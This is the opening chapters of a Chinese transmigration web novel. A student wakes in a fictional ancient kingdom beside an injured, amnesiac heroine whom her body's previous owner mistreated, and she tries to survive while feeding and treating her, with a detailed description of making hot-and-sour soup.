《美食摆摊养白切黑O~》 1、开啦! 院子的泥地上,绿色带点微黄卷边的落叶,一层一层铺得满满的,像是被人随手搁置后,遗忘掉的糕点。 青幽幽的绿散发出香甜可口的味道,抹不去的黄,却为糕点增添了一丝腐坏气息。 四四方方的桌子上,蒙着一层灰白的颜色。倒着的圆肚茶壶中,水早已干涸。 明晃晃的晨光透过天边缝隙,像一堵墙似的把这个小院隔开。 被光照着的一边,连晃动的尘埃都是一副欢快跳舞的模样。 而另一边,阴冷与湿濡的血腥气在缓缓蔓延。 它们像虫子一样,附在人的肌肤、骨髓之上,咬得人生疼。 细小的声音发出,躺在落叶上的人身体抽动,身下的枯枝烂叶被压得嘎嘎作响。 她在发抖,眼皮也开始挣扎,睫毛像振翅欲飞的蝴蝶,左边眼下的两颗红痣摇摇晃晃,像坠在纯白花蕊间最殷红的果实。 最先袭来的是痛感。 全身上下没有一处地方不疼,她睁开极致纯洁懵懂的眼睛,泪水从中坠落,看向自己身上压着的人。 恐惧无比。 她不记得自己身在何处,只记得上一次醒来,这人打了她。 很疼。 她呼吸乱了,面部神色紧绷,眼中是怎么也压不下去的害怕。 脑袋不断朝后仰,想要离这个人远一些。 可惜她躺在地上,被压住,怎么逃得掉? 她下意识用双手插住面前人的脖子。 用力。 拼命的用力。 手背上手骨绷起,苍白的皮肤显露出若隐若现的青紫色血管。 她的手指如同削葱根般白净,长着圆润泛粉的指甲,看起来脆弱、可怜。 不像能干出掐人脖子之事。 而被掐住脖子的人,本还没反应。 只是不知过了一息、还是几息。 被掐住脖子的人突然浑身一颤,睁开布满红血丝的双眼,瞪向掐自己脖子的人! 穆今羽怎么都没想到,光天化日朗朗乾坤,竟然有人敢对自己行凶! 她自认脾气温和,待人友善,根本不可能和谁起冲突到对方要杀自己的地步。 这是怎么回事? 只见掐自己脖子的人脸上,神情比自己还惊恐,抖的比自己还厉害,可手上的力气却一点没变小,越掐越紧! 肺部的空气渐少,穆今羽脸色以肉眼可见的速度涨红。 她立马仰起身体,拉开自己与身下人的距离,双手攥住身下人的手腕。 想把对方的手,从自己脖子上扯下来。 “放……放开……快给……我放开!” 声音像是被石头块压着,又拼命从缝隙中挤出来的一般,沙哑又模糊。 身下人看着那么好看、楚楚可怜,可居然是个蛇蝎心肠。 穆今羽拼了命地拉拽掐在她脖子上的手,原本圆润泛红的指甲此时化作利刃,嵌入她的脖颈间,留下刺痛的红印。 对方下了死手,穆今羽第一时间没挣脱开,便知晓绝对不能再这样下去。 因为她眼前发黑,身体发软,喉咙灼热,肺部缺氧到几近爆炸。 她快要死了…… 穆今羽布满血丝,饱含不甘与绝望的眼中流出泪水,豆大泪滴啪嗒砸在身下人白皙小巧的脸蛋上。 无法挣脱她便另辟蹊径,用尽全身力气,狠狠拿头砸向身下人! 咚! 沉闷的声音响起,两块硬骨头撞在一起! …… …… 穆今羽只觉自己似乎死去了那么几秒,五感才开始缓慢回归。 眼前才开始有天光透进。 脖子上的手脱力垂下,胸腔中有空气涌来,她张着嘴大口大口呼吸着,喉咙间刺耳的声音像是快要散架的木架子。 嗬哧嗬哧—— 穆今羽身体控制不住倒向一旁,压碎无数枯叶,边喘着气边警惕地看着自己身旁的人,生怕对方再次行凶。 可她盯着双眼紧闭,一动不动的人看了好一会儿,迟钝的大脑才反应过来对方似乎晕过去了? 还是死了? 刹那间,冷汗遍布穆今羽全身,更汹涌的眼泪从眼眶中坠落。 她赶紧爬到那一袭白衣的女子身旁,颤抖着手指去试探对方的鼻息。 不知过了多久,在穆今羽眼神越来越木、脸色越来越灰白之际。 温热又潮湿的气息打在她手指尖。 还有气! 高高悬起的心骤然落回胸腔,劫后余生的感觉袭来。 都说眼大无神,可穆今羽圆溜溜的双眼中全是情绪。有后怕、有庆幸、有气愤、有讨厌。 她不喜欢这个对自己下毒手的人,但此刻却无比庆幸对方还活着,纷乱的情绪在心中撞来撞去,甚是纠结。 这到底是怎么回事? 为何对方会挽着头发,穿着一袭古装白衣? 这里又是哪里? 穆今羽虚捂发疼的脖颈,大眼睛滴溜溜朝四处张望,搞不懂为何自己会在一个古色古香的院子中? 可同时她又觉得这处院子有些熟悉,仿佛她在这里生活了数十年。 此种想法一出,穆今羽口中控制不住发出痛呼。 她双手捂住自己脑袋,剧痛袭来,许多东西争先恐后地挤入她脑海中。 惹得她倒吸一口凉气,再次栽倒在地上! 她蜷缩在遍布泥灰的地上,即便清晨微暖的阳光,柔和了她紧绷、痛苦的神情。 却也没办法真正让她好受起来。 她太痛了。 脑海中挤着许多纷乱的记忆。 有她在这处院子里生活的点点滴滴,也有她之前看的一本的内容。 这时穆今羽才猛然想起,她本来是在挑灯夜读,为大二下期的考试周做准备。 哪想没忍住,点开了最近很火、且有位配角和自己名字相同的。 哪想再次醒来,她居然穿书了! 书中的她,也就是原主,可没有什么好下场啊! 原主在一次机缘巧合下,捡到冷心冷情的荣家掌权者、大蓉国摄政王、此书女主——荣姮。 荣姮失了忆,什么都不记得。 原主一边感谢上天给她送老婆,一边打算同荣姮生米煮成熟饭。 只是在标记时,荣姮抵死不从,被折磨到浑身伤口裂开,血流不止。 穆今羽根本就没有看到的结尾,但她刷到过无数篇这本的推文。 所有人都在破口大骂书中的穆今羽是个禽兽!变态! 后期被女主碎尸万段肉沫喂狗,简直不要太爽! 穆今羽:…… 哈哈。 本来她也觉得很爽的,可现在她不这么认为了。 那是原主做的,又不是她做的,不能够报复在她身上吧? 穆今羽从杂乱记忆中挣脱,眼睛里露可怜又恐惧的神色。以坐着的姿势疯狂朝后退,连滚带爬想远离地上还在昏迷的荣姮。 要不现在就跑? 她又连滚带爬往院门方向而去,可当手摸到那木质院门时,她顿住。 不行不行。 且不说这个院子是自己的家,等荣姮恢复记忆后,靠着这个院子提供的线索,就可以知晓是谁伤了她。 单说现在原主已经强迫过荣姮了,如果这个时候她跑了,岂不是做贼心虚? 以后要是被荣姮抓住,肯定还是碎尸万段,肉沫喂狗! 那怎么办? 如何保命? 她是不是得让荣姮改变想法,让荣姮忘记自己曾经伤害过她的事,不计前嫌,只记自己的好? 这样即便荣姮恢复记忆,也不会拿她怎么样? 对吗? 对!就是这样!她要让荣姮忘记原主做过的一切! 穆今羽脸上迸发出希冀的光芒。 万幸原主并没有成功标记荣姮,不然她真是有十条命,也活不下来! 一想到标记这件事,穆今羽的脑袋又疼了几分。 嗡嗡的。 这个世界足足有六种性别! 乾元、中庸、坤泽。 乾元是alpha,中庸是beta,坤泽是omega。 据说乾元和坤泽会散发出特殊的味道,彼此吸引,彼此契合。 可穆今羽又不是这个世界的人,她只知晓自己是乾元,荣姮是坤泽。 至于其他人分别是什么,她要如何知晓? 哈哈,连性别都分不清,她可真厉害。 穆今羽脸上扯出苦笑,手指给自己点了个赞。 算了,如今不是想这个的时候,说不定在这个世界多待几日就能知晓了呢? 她饱满的鹅蛋脸上还干涸着几道泪痕,明亮的圆眼中却又噙满泪水。 比起在这个世界挣扎求生,她还是更想回到以前的世界参加期末考。 穆今羽半跪在地上,忍着脖子上的疼痛,把荣姮扶起来,艰难地往屋子里拖。 她和荣姮的身量差不多,虽荣姮要比她轻些,但昏迷过去的人尤为不好移动,她搬起来也很困难。 才搬了几步,穆今羽就觉得自己脖颈间一片黏腻,发丝被打湿成股,贴在脖子上。 她以为自己是大汗淋漓,哪想手一摸,指尖一片红出现在眼前。 原来是脖颈间被掐出的伤口没有止住血,再加上她不断的用力,使得血哗啦哗啦往外流,把她的头发、衣服都染红。 这下,她也不敢再用劲儿,只得把院中的长凳拿来,让荣姮靠在长凳上。 原主家是楼许县里普通的商户,家外的那一条长街就是楼许县中的夜市街。 而这一条长街两旁住着的人家,全都如同原主家一般,夜晚开店做着小生意。 白日里除了补觉,就是准备晚上所要用到的东西。 现在太阳刚刚升起,时辰尚早,整条街都安安静静的,没有一丝声响。不像县里其他地方,都开始走街串巷,人来人往了。 只不过自从原主的两位母亲在外出进货的路上,被山匪所害,原主便一蹶不振,守着母亲们留下来的微薄积蓄过日子。 能混着活一日便活一日。 昨日,原主本想去大蓉国都城汴京,买馋了许久的吃食。 未曾想路走了一半,在路边的山林间看见倒在枯枝烂叶上,一袭白衣、面容秀丽出尘,如清水芙蓉般的荣姮。 便生了恻隐之心,连汴京城也不去了,着急忙慌拖着荣姮往回走。 也幸好她所住的地方是夜市街,白日里大家都鲜少走动,没有人看见她把荣姮带回院子中。 否则她后续的麻烦可不少。 接下来便是原主想要强行标记荣姮,醒来的荣姮抵死不从,挣扎间手上抓起一块石头,把原主砸归西。 换了她过来。 怪不得她脑袋那么疼,还以为是接收了记忆造成的,现在想来怕不是被砸出来的。 穆今羽也靠着长凳休息几息后,拖着快要散架的身体走到院子正中,把荣姮砸自己的石头给捡了起来。 那石头棱角分明,尖锐无比,上面还凝固着发黑血迹。 看起来就阴森森的。 穆今羽本想把这块石头扔远些,不想让荣姮再有伤害自己的东西。 可她手臂抬起晃了两下,正准备扔出时,又想起书中荣姮是个心狠手辣之人。 惹到她的人没一个能善终。 要不…… 穆今羽拿着石头跌跌撞撞来到荣姮身旁,用崎岖尖锐的一角对准荣姮的脑袋。 比划来,比划去。 要不…… 日头渐渐升高,把整个小院子照得暖洋洋的。 微风轻轻吹过,院中的枯树枝桠在咯吱咯吱晃动,地上落着的枯叶也在唰唰作响。 沐浴着阳光的穆今羽本该感觉到暖和,可她却没由来的,打了个寒颤。 她怎么下得去手啊? 她就是个普普通通的,一辈子没经历过大风大浪的学生,一辈子学习的都是正直善良,和谐友善的生存之道。 即便对方不是个善茬,她也下不去手。 再说吧……再说吧…… 穆今羽安慰自己,即便对方以后要对自己下手,那也是以后的事。 到时候再说吧。 她嘴唇微抿,刚准备把手放下,昏迷中的女子就缓缓睁开眼。 用黑漆漆的瞳孔,盯着她举起的、准备行凶的手! 穆今羽:…… 巧、真巧哈。 2、第 2 章 骤然同因惊恐和害怕,而瞪得溜圆双眼对视上,穆今羽依旧被吓了一大跳,脑海中浮现出对方恢复记忆后,杀伐果断的模样。 那可是大荣国摄政王啊! 年纪轻轻能坐上这个位置的,怎么可能是个良善的主? 据推丨文号说,此人嗜血,又遭遇了失忆被原主虐待等一系列事,导致性情更加癫狂。 是遇上此书另一位女主,才慢慢被另一位女主治愈的。 如此想来,那人畜无害的眼神,说不定是伪装的,实际上荣姮在心中恨不得把自己碎尸万段吧! 早知道她就不举着石头,在荣姮面前比划了! 即便在艳阳下,穆今羽全身也阴冷得可怕,她忍不住同荣姮拉开距离,打着寒颤道:“你、你没事吧?” 荣姮根本不知晓,面前的人怕自己怕得不行。 她看见对方举着石头要砸自己,也怕得不行啊! 她第一次遇到这么凶恶的人,标记不成就要灭口! 她该怎么办? 荣姮没有回应穆今羽,反倒小心翼翼抬眼瞧了瞧穆今羽的脸色,又赶忙收回视线,抱住双腿,努力让自己变得不起眼。 蜷缩在一片腐烂的树叶中。 等待着死亡。 她打不过面前之人,她只希望面前之人不要折磨她,给她一个痛快。 穆今羽不知她在想什么,也害怕她留了后手,正找寻时机准备攻击自己。 便没有靠近荣姮,而是深吸几口气,撑着发软的身体跌跌撞撞站起身。 手中握着的石头顺势塞在腰带缝隙中,想着万一荣姮偷袭她,她也可以用石头防身。 又偷摸看了躺在地上的荣姮一眼,穆今羽才走向灶房的方向,打算从水缸中舀些水清洗一下自己。 原主已经好几日没有洗过澡了,她只觉得自己浑身上下哪儿哪儿都痒,怕不是长虱子了。 除此之外,脖子上的伤口也得清洗干净再上药。 她所穿越的大蓉国在历史中是没有的,但想也知道在古代但凡有伤病,没及时医治,恐怕都能要了她的命去。 只是穆今羽来到水缸边才发现,水缸底部落有许多树叶,水缸壁上长满苔藓,整个水绿得发亮。 一看就不能用。 穆今羽:…… 但好在灶房旁就有水井。 楼许县刚好挨着大蓉国的都城——汴京城。 沾着汴京城的光,楼许县的基础建设修缮的十分完备,说不上家家户户都有水井,但有水井的人家至少占九成。 剩下那一成是家中鲜少有人居住,故而没修水井。 楼许县县令考虑到像这样的人家要用水,在县中各处地方都挖有水井、水池,以供大家取水。 原主乾元坤泽两位母亲还在世时,她们家中也有些小钱,水井都挖的比旁人大些。 穆今羽来到水井旁,把水井上的木质井盖接揭下,探头朝井内望去。 用石块砌成的井,上窄下宽、乌漆麻黑,什么都看不清。 穆今羽噗通一声把水桶放下,晃荡着水桶上绑的绳子,努力舀水。 她没注意到的是,水桶落下的声音震的荣姮身子一抖,双臂更加紧地抱住自己。 又害怕又无助,根本搞不清现在是什么情况。 荣姮浑身是伤,脑袋里没有一丁点记忆。 不知道自己是谁,不知道自己在哪里,也不知道自己为何一身的伤。 睁开眼睛,无边的黑暗与乾元浓烈的性香味就朝她袭来。 那是一种木头的味道。 是阴沉、腐朽,懦弱到扛不住秋意的袭击,扛不住蛆虫的啃食,从而快要烂成淤泥的味道。 是梧桐树的味道。 乾元恶臭的味道具有攻击性,让她忍不住喉咙翻滚几下,几欲呕吐出来。 陌生的乾元想要强行标记她。 她很怕,怕极了。 身体僵硬到像一尊被泥封住,送入火窑之中不断炙烤的瓷器。 瓷器定了型。 她也被乾元压着,扭曲成另外的样子。 她反抗,乾元打了她。 脑袋砸在地上,脸上火辣辣的疼,腹部也一阵绞疼。 那个瞬间,她胡乱地想着,自己以前是不是一个坏事做尽的大恶人? 因而才被发配到地狱,让小鬼来折磨自己? 好在她是幸运的,她摸到地上有一块尖锐的石头。 她毫不客气地抓起石头,砸向乾元的脑袋! 而乾元也暴怒地拖着她的身体,砸在地上。 她们两人一起晕了过去。 再次醒来时,她抢占先机,想要先把乾元杀死,这样才能保全自己。 可那个想要侮辱自己、恨不得自己死的乾元,居然转变了态度。 开始关心她有没有事。 这是为什么呢?眼前这个乾元为何会转变态度呢? 荣姮真的很想让自己的大脑转动起来,去思考现如今的局面。 可惜。 不知是什么原因,她的大脑一片空白,再怎么思考,也思考不出来什么东西。 只庆幸于眼前的乾元,好像不想对她下手了。 荣姮脑袋里面空空的,忘记了凡尘俗世里的条条框框、戒律清规。所做一切近乎本能,根本不管对与错、好与不好。 她见乾元不再伤害她,心中便放下心来,不觉得危险了。 转而开始偷偷摸摸观察起乾元的动作。 只见乾元费劲巴拉从井中打上半桶水,水波晃荡,她脸上也出现欣喜的表情。 穆金羽看着水桶中清澈的水,便知晓这水是可以用的。 她眼神又朝灶台的方向看去,思索一番,果然从灶口下方的地面上找到火折子。 原主是个懒惰的人,母亲们离世后,她就再也没有干过活,家中柴火用完也不知道再买点回来。 穆今羽扒拉着仅剩的几根柴火,放进灶口中,又从地上捧了一大堆干枯的树叶塞进。 灶口里出现火光,把她的脸映照的有些发红。 成功点燃火,这才开始用水把布满灰尘的锅擦洗干净,放在灶上面。 她又打了两次水,这才装满大半锅的水。 接着,她坐在灶口旁烤着火,等待着锅中的水烧开。 全程没有看杵在院子另一旁的荣姮。 也不敢看。 院子中的空气寂静又凝滞。 好一会儿,锅中水开始躁动起来,冒出的气泡咕咚一声破开。 这代表着水快要开了。 而穆今羽再也等不及,把水舀出来倒入盆中,先把找到的帕子搓洗干净,这才狠狠开始擦脸。 她一直觉得脸上不舒服,紧绷得厉害,像糊了层东西。 果然,擦完脸后帕子都黑了! 可想而知她之前的脸脏成什么样! 用力擦了几次脸,把脸上的皮都快擦掉为止,穆今羽才开始擦拭着脖颈上流下的血迹。 好不容易能清洗身体,穆今羽动作又急切又用力,飞速把自己脖颈、胸口、四肢全都擦了一遍。 这才顿觉神清气爽。 脖子处的伤口她没有动,她有些怕沾水感染,不好医治,从而丧命。 所以这伤口还是让大夫处理比较好。 她把自己腰处系着的荷包取下,开始数里面有多少银子。 有三块小小的碎银,以及几十枚铜板。 古代的银子是按重量计算的,这三块碎银穆今羽掂量着,有个一二两的样子,应当是够瞧病的。 她捏着银子,步履虚弱的朝院门走去,才走一半,想起自己家中还有一个荣姮。 穆今羽脚步顿住,也不敢回头去看荣姮,只是定在原地,心中飞速思考着。 如果让荣姮一个人待在家中,对方会不会趁机逃跑? 万一对方逃跑后去找了官差,自己是不是要被关大牢? 肯定的,三个大字浮现在穆今羽脑海中。 她也不是一定要强留荣姮,如果荣姮离开后,对她没什么影响,她当然巴不得送走这尊大佛。 可现在荣姮离开,就代表着她要再经历一次死亡,这是她不想面对的。 穆今羽脸上表情很是纠结,一会儿皱眉一会儿瞪眼,在思考要怎么规避这件事。 最终她深吸一口气,又回到灶台旁,在没有柴的柴堆里翻出一条绳子。 视死如归地转身,眼神匆匆在荣姮身上扫过后,便撇开脑袋,走向对方。 拿着绳子的手背在身后,不让荣姮发现。 荣姮一直在偷摸观察穆今羽,只是观察得久了,发现穆今羽只是在烧水,而不是做伤害自己的事,她心中的防线便慢慢放松。 人一旦松懈下来,身体上的伤痛、精神上的疲劳,便全都涌了上来。 荣姮只觉得自己脑袋昏昏沉沉,眼皮子在打架。 差点睡过去。 直至穆今羽快要靠近她,荣姮才打了个寒颤,骤然惊醒。 堪称见鬼地看着离自己只有几步距离的乾元! 她立马想起前人对自己做下的种种恶行,也不敢坐在原地,而是转身跌跌撞撞想跑! 她身后是一座砖瓦砌成的房屋。 房屋挺大,有两间睡人的屋子。 其中一间大些,是原主两位母亲住的,另一间小些,是穆今羽住的。 还有两间总面积不过二十平方米的屋子,一间用作茅房,一间用作杂物间。 杂物间中有一个浴桶,平日里沐浴用。 荣姮慌不择路,跑进房屋中。 本想把穆今羽关在外面,可惜她本就浑身是伤,动作过于凝滞,刚跑进房屋中,就被身后的穆今羽追上! 察觉到自己手臂被那乾元捏住,荣姮泪水瞬间从眼眶中坠出,短促尖叫后,开始拼命挣扎。 也顾不得自己身上的伤会更严重。 她太害怕了。 她不清楚被乾元抓住会有什么下场,但她知晓眼前这人不是什么好人,自己绝对会受苦的! 荣恒想也不想,一拳朝穆金羽的脸上砸去! 刺啦—— 只听如粗布被撕裂的声音响起,穆今羽险险躲开拳头的同时,荣姮手臂上的刀伤也撕裂开来。 鲜血如注般喷涌,刹那间染红荣姮整条手臂,在地上蓄起一汪血泊。 或许荣姮自己不知晓自己浑身的伤是怎么来的,但穆今羽知晓。 书中前期有交代,是有人算计了荣姮,给荣姮下毒。但荣姮侥幸没有死,那幕后黑手便派出追兵,想要杀人灭口。 荣姮身上的刀伤,就是那群追兵砍出来的。 看着荣姮血流不止,穆今羽急了。 要是任由荣姮死在她这里,她连尸体都不知该怎么处理! 刺目鲜血让穆今羽整个人紧绷起来,近乎惊惧地扯住荣姮,大吼:“不想死就给我老实点!” 荣姮吓得眼睛瞪大,身体软了下去。 3、第 3 章 见荣姮身子软了下去,穆今羽心中更是慌乱。 她立马捞住荣姮身子,半拖半拽朝屋里走去,把人双手反剪于背后,用绳子绑住手腕,布条塞在口中。 推到床上坐着。 又从荣姮自己的衣服上,扯下布条,死死绑在崩开的伤口处,进行止血。 关上屋门走出院子,又把院子的门锁上,让荣姮彻底跑不出来。 一气呵成! 做完这些,穆今羽才背对着自家院子,眼神看着只有寥寥几道人影闪过的长街,反手叉腰,喘了好几口气。 她做的干净,荣姮应当是跑不掉,也无法呼救的。 她只要快去快回,就不会出现差错。 穆今羽气喘匀后,脑袋左右看看,辨认清楚方向,直接朝医馆走去。 只是在去的途中,她总觉得自己后背凉飕飕的,仿佛干了什么亏心事般? 怎么会呢? 穆今羽手搭在额角处,一时间不明白,自己为何会有这种感觉。 只得在口中念了几遍,富强民主文明和谐,以此来宽慰自己。 医馆在她们这条夜市街是没有的,得走到外面的大街上才有。 原主这具身体有些虚,穆今羽才快走出几十步,就开始气喘吁吁,有些累人了。 但想着家中还有一个伤员,她咬着牙走了不到半刻钟,这才来到医馆,让医馆内的大夫给她瞧瞧脖子以及脑袋上的伤口。 她的伤不算轻。 那中年大夫定睛瞧了几眼后,便询问她是如何造成的。 穆今羽只说是同好友产生了口角,推搡了几下,不是什么大事。 中年大夫又打量她几下,知晓眼前之人没说实话,估计是惹了什么事造成的。 她不再询问,开了几贴伤药,便把穆今羽打发走。 穆今羽离开前,又让大夫多给她开了几贴伤药和止血的药。 伤药不便宜,就那么十贴药,花了她三块银子中,最大的一块。 剩下的银子估摸着不足一两。 回去途中,她又绕到早食一条街,买了两碗胡辣汤。 胡辣汤是她们这处地界的特色。 为了保证胡辣汤新鲜好吃,不砸自己招牌。卖胡辣汤的老板们往往天不亮,就要起床开始准备做胡辣汤的食材。 把干豆皮、木耳、花生、粉条,全部用清水泡上后,老板们才拎着一大布袋面粉,放在灶台上。 准备做面团。 大量的面粉倒入木盆中,加入适量的盐,再加入清水揉搓成面团。 为了速度能快些,老板们用的面粉多,揉搓起来自然也费力些。 长此以往下来,他们的手臂上都充斥着明显的肌肉,手劲颇大。 有着老板们大力地揉搓,再加上盐的作用,做好的面团会更加筋道些。 把揉搓好的面团,大小均等的分成好几个小面团,放在不同的木盆中,盖上盖子。 等待它们醒好的同时,老板们来不及休息,擦掉脑门上的汗,洗干净手,又要忙不迭地准备为胡辣汤调味的调料。 胡椒粉和花椒粉辛辣香麻,再加上桂皮、草果、八角……等香料的香味。胡辣汤辣而不燥、麻而不苦、十里飘香的味道就散发出来了。 在这个地界做胡辣汤的小摊食肆颇多,想要在这个地界做的好吃,做出名堂来。 各家放的调料便大同小异,各有特色。 这家辣一点、那家咸一点,这家麻一点、那家香一点。 吸引着不同的食客去吃,颇有风味。 等待面团醒好,接上一盆清水,把醒好的面团放入清水中,用手掌缓慢而用力地揉搓。 就像洗衣服一般。 这一步称之为洗面筋。 随着手掌的揉搓,盆中清水渐渐变得雪白,而手中的面团也渐渐变小起来。 洗面筋的过程较为繁复,期间要经常换水,直至把水洗的不再变白,把面团洗成有点微黄的面筋为止。 伴随着公鸡打鸣,大黄狗狂吠,天边出现的一抹青白。 早早起床摸黑干活的老板们,终于洗好了面筋。 洗出来的面筋和乳白的水,放在一旁备用。 把大铁锅架在灶上,倒入油,烧热,放入葱姜花椒爆出香味,再把泡好的木耳、花生、豆皮倒入锅中。 翻炒几下。 就可以往锅中倒入清水了。 等待清水咕咚咕咚烧开,把粉条放下,就可以把刚才洗出来的微黄湿面筋,揪成一小团一小团,丢入锅中。 使之随着冒泡的水一同沉浮。 面筋全部下锅后,往锅中倒入调好的调味料。 锅里立马迸发出奇特的香味,即便只是闻一下,也能让人精神抖擞,遗忘清晨的寒凉。 这时,再把刚才洗面筋留下来的乳白色清水,少量多次地倒入锅中。 这水是淀粉水,倒入锅中,会使得锅里的汤慢慢变得浓稠、黏腻。唏喱呼噜喝上一口,黏黏稠稠的满足感将会溢满口腔。 囫囵吞下肚,肚子里热气腾腾,幸福顺着饱嗝打出,舒爽得很! 现在是早晨,早食街里热闹非凡。 穆今羽一进入早食街就被香迷糊了,这也想吃,那也想吃。 但她的肚皮只有那么丁点儿大,还不够她从街头吃到街尾呢。 况且她家中还有个伤员在等着,她也不好花太多时间在早食街中,这才选择了最经典的胡辣汤。 她上辈子十九年的人生,全在上学,从没出过蜀,所以也没尝过地道的胡辣汤。 但她敢打包票说自己绝对喜欢胡辣汤的味道,因为她一闻到那个味道,感觉魂都是飘着走的。 穆今羽短暂忘记穿越来的惊慌失措,拎着装有两碗胡辣汤的食盒,乐呵呵往家赶。 就这食盒和碗她想拎走,还押了两文钱的押金呢。 回到家中,穆今羽才惊觉自己居然把荣姮这尊杀神捆了关在房屋里。 食物香气带来的短暂快乐消散,她的心一下狂跳起来! 把食盒和山药放在院内的桌子上,赶忙打开屋门,想把荣姮给放出来。 她希望荣姮不要误会,她只是想要她不要逃跑,也不要再受伤了。 并不是想要伤害她。 穆今羽一边在心中祈祷着,一边又觉得自己离死真的不远了。 她推开门,映入眼帘的是荣姮倒在床。上一动不动。 看起来像是…… 穆今羽刚还在狂跳的心脏,骤然停止。 恐怖之感席卷她全身。 血液直往脑门上冲,冲的她不知该作何反应。 她知晓荣姮全身是伤,血流不止,但她路上也没耽搁,拿了伤药买了早食,就紧赶慢赶的往回走。 最多不过两刻钟。 难道就是因为这点时间,荣姮就陷入不测了吗? 穆今羽后脚踩前脚,脚步胡乱地跑到院子里,拿着伤药又跑回屋子。 抖着手,把荣姮手臂上的布条给解开。 汗水与眼泪齐刷刷往下流着。 她太害怕了,太害怕有条人命死在自己手中。再加上看到那血肉模糊,有些发黑的伤口。 穆今羽干呕几下,头晕目眩。 正当她准备把手中的伤药,涂在糜烂的伤口上之时。 原本躺在床上一动不动的荣姮然睁开眼,像个小炮弹似的,弓着背,拿头撞向穆今羽! “唔啊——呕——!” 穆今羽毫无防备,咚的一下就摔倒在地。 胸口、腹部像被一头牛被撞到一般,有瞬间的窒息。可喉咙却干呕了一下,差点吐出来! 她瘫坐在地上,浑身都疼。眼前黑了又白,白了又黑。差点去见太奶。 而荣姮找准机会,朝着院子中跑去! 她想逃! 穆今羽顾不得许多,扭曲地在地上爬了几下后,追了上去。 “别、别跑!咳咳咳……不要跑了!算我求求你了!咳咳咳……” 穆今羽一边忍着干呕,一边冲荣姮吼着。 “你浑身都是伤,跑出去会死的!” “别跑了,别跑了,咳咳咳……吃了东西再跑总可以吧!” 穆今羽扑向荣姮,双手死死抱住她,不让她再跑。 两人纠缠着又倒在地上,又是滚又是爬的,就差返祖了。 “呜——别跑——求求你别跑——呜呜。” 穆今羽眼泪哗哗流着,精神和身体上承受着双重折磨。 她难道不想跑吗? 她也很想跑,很想脱离这个世界。 可她不敢。 她不敢死,也不敢发疯。 只敢随遇而安,老老实实活下去。 可即便这样,也很艰难。 荣姮没理她,还给了她一倒拐子! 疼的穆今羽龇牙咧嘴,好不难堪。 她情绪触底反弹,直接把荣姮放开,瘫坐在地上,自暴自弃道:“跑吧跑吧!你想跑就跑!” 她把石桌上放着的胡辣汤端在手里,想也不想,唏喱呼噜喝了一大口。 “你跑吧!我把你那一份也吃了!” 她一边喝着胡辣汤,一边眼泪啪嗒啪嗒落在汤里。 好咸。 这是她吃过最咸的胡辣汤。 都咸到她心里去了。 穆今羽边哭边吃,很快就把自己那份胡辣汤喝完,又伸手去拿桌上的另一碗。 荣姮见状也不跑了,扑到桌边,把最后一碗胡辣汤抢到手。 狼吞虎咽地喝着! 4、第 4 章 胡辣汤的美味自是不用多说。 刚把汤抢到手的荣姮,心中还有点小高兴。她把碗贴到自己嘴边,抬碗,却没有张嘴。 碗中的胡辣汤顺着她的嘴角、下巴流下,黏黏糊糊的汤把衣服和地下都弄脏。 荣姮懵住,好一会儿才反应过来要张嘴。 尝到胡辣汤的味道,她一下被辣得双眼起雾,泪水摇摇欲坠。 右边眼下两颗红痣也在晃。 眉心蹙起,以为那坏乾元诱骗自己吃了什么毒药。 可当她砸吧了几下嘴之后,胡辣汤的香味儿才窜了出来,引的她不自觉狼吞虎咽地喝着。 期间还不忘用眼神去瞧穆今羽,生怕穆今羽这个坏人,又把碗给抢回去,不让她吃。 猛猛喝下小半碗胡辣汤后,荣姮肚子中有食物垫底,饿到心慌的感觉渐渐消失,冰冷的身体也因为胡辣汤又烫又辣的味道,而变得温暖起来。 荣姮空空的脑袋里,真的没有那么多弯弯绕绕。此时吃上了东西,她整个人就逐渐放松下来,像蘑菇一样蹲在一旁。双手上供一般捧着碗,小口小口,特别珍惜地喝着。 体验着食物咻一下滑到肚子中的感觉。 她昨日从昏迷中醒来时,脑海里是虚无一片的。 任何概念都从她脑海中消失,她甚至不知道自己是什么。 也不知道自己能动、能眨眼。睁着眼望向天空,在山林间躺着……躺着…… 直至被穆今羽捡到,她才发现自己好像能动。 而刚才看见穆今羽。在喝胡辣汤。她才慢慢反应过来,原来那个东西能喝,原来自己能喝东西。 胡辣汤里有许多食物,但荣姮还不知道自己能咀嚼。 只是任由那些菜啊、面筋疙瘩啊,顺着喉咙往下滑。 坐在一旁的穆今羽看见荣姮也不跑了,正美滋滋地吃着东西,她眉头紧皱在一起,嘴角朝下撇,成了倒着的月牙弯。 她心中有气,气荣姮折腾自己不说,还抢自己的东西。 有无语,无语荣姮居然为了口吃的又不跑了。 穆今羽站起身,深吸口气,用手背擦干脸上的泪水,去把院门给锁上了。 这下荣姮即便是想跑,也跑不出去。 她见荣姮还在吃东西,便不再管对方,而是提着一桶锅中还未彻底凉掉的水,来到杂物房。 关上门。 世界彻底安静下来,只有她一人,静悄悄的。 她脱力地靠在浴桶边,只觉得好累。 她前十九年的人生过得不算痛苦,但也不算容易。 她是单亲家庭里的孩子。 妈妈把她带在身边养着,给了她许多许多的爱,所以她并不觉得自己和别的孩子有什么不同。 性格也开朗友善。 只是后来妈妈生了病,离开了她,她只能独自生活,完成自己来之不易的学业,一刻都不敢松懈。 妈妈很爱她,所以她不想让妈妈失望,也不想让妈妈担忧。 莫名来到这个世界,她其实有一瞬间想,老天怎么不干脆让她就那么死了? 至少她就能再见到妈妈了。 但那只是一瞬间的想法。 她知道妈妈估计不想在下面看见她。 而她能在另一个世界活过来,说不定也是妈妈的馈赠。 所以,即便在另一个世界,她也必须坚韧的活下去。 脱掉衣服,穆今羽开始擦拭起自己被衣服遮挡住的身体。 挺脏的,污垢都能擦下来好层 她越擦越用力,越擦越用力。 把一切难受发泄在自己身上,甚至把自己背部、胸口都擦出痧来。 清洗完,为自己的伤口上完药,推门走到院子中。 看见温暖的太阳挂在天边,阳光透过树叶变成光斑洒落在院中,看着那比两个人都高的大树,张牙舞爪地肆意生长。 穆今羽脸上出现笑容,表情飞扬,五官都是朝上的。她拳头捏紧,告诉自己,生活不会比今日更艰难。 她朝荣姮走去。 此时的荣姮早已喝完胡辣汤,正站在院门处研究着怎么能出去。 察觉到穆今羽靠近,荣姮又像个小刺猬似的竖起尖刺,警惕地看着她。 穆今羽不想同荣姮过多纠缠,她知晓短时间内是无法让荣姮放下戒心的。 她只是把自己的手心摊开,对荣姮道:“拿去,你自己照顾自己。” 她手里是八贴伤药,荣姮伤势比她重些,这点伤药估计不够,用完了她得再去找大夫。 